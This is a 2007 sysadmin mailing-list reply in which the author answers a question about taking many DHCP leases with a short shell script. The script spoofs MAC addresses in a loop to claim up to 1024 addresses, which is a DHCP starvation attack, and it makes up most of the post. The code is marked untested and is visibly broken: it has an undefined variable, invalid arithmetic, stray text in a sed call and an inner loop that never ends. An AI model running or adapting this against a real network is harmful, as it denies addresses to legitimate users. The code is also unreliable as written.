Re: [SAGE] Tool: grab all dhcp leases, ala DOS?

[bergman@merctech.com]

In the message dated: Fri, 24 Aug 2007 10:31:26 EDT,
The pithy ruminations from sage@richfox.org on 
<[SAGE] Tool: grab all dhcp leases, ala DOS?> were:
=> Hi,
=> 
=> A while ago I heard about a tool, perhaps proprietary, that would allow a 
=> single system to obtain many, many, leases from a DHCP server. Does anyone 
=> know of any open source tools that might provide this functionality (preferably 
=> with the ability to accept or reject IP leases based on the IP subnet)? I 
=> googled and googled but I couldn't separate the noise from the signal in 
=> the results...


Hmmm...a fun challenge on a Friday.

Do you mean a tool that does something like:


[WARNING: possible linux-isms and untested sudo code follows]

#########################################################################
	count=0
	while [ count -lt 1024 ]
	do
		octets=`printf "%04d" $count`
		ifconfig $INTERFACE hw ether  00:02:6F:05:$number
		dhclient $INTERFACE
		subnet=`ifconfig $INTERFACE|grep "inet addr:"|sed -e "s/.*inet addr://" -e "s/\.[0-9]* .*//" 170.212.182`
		while [ $subnet != $ACCEPTEDSUBNET ]
		do
			dhclient -r $INTERFACE
			dhclient $INTERFACE
		done	

		count= $count + 1
	done

########################################################################


Of course, all of this naughtyness in trying to grab 1024 addresses from the 
DHCP server assumes that this isn't taking place on wired network with
port-level security on the network switch. 

Mark

=> 
=> Thanks,
=> Rich.
=> 
=> -- 
=> 



-----
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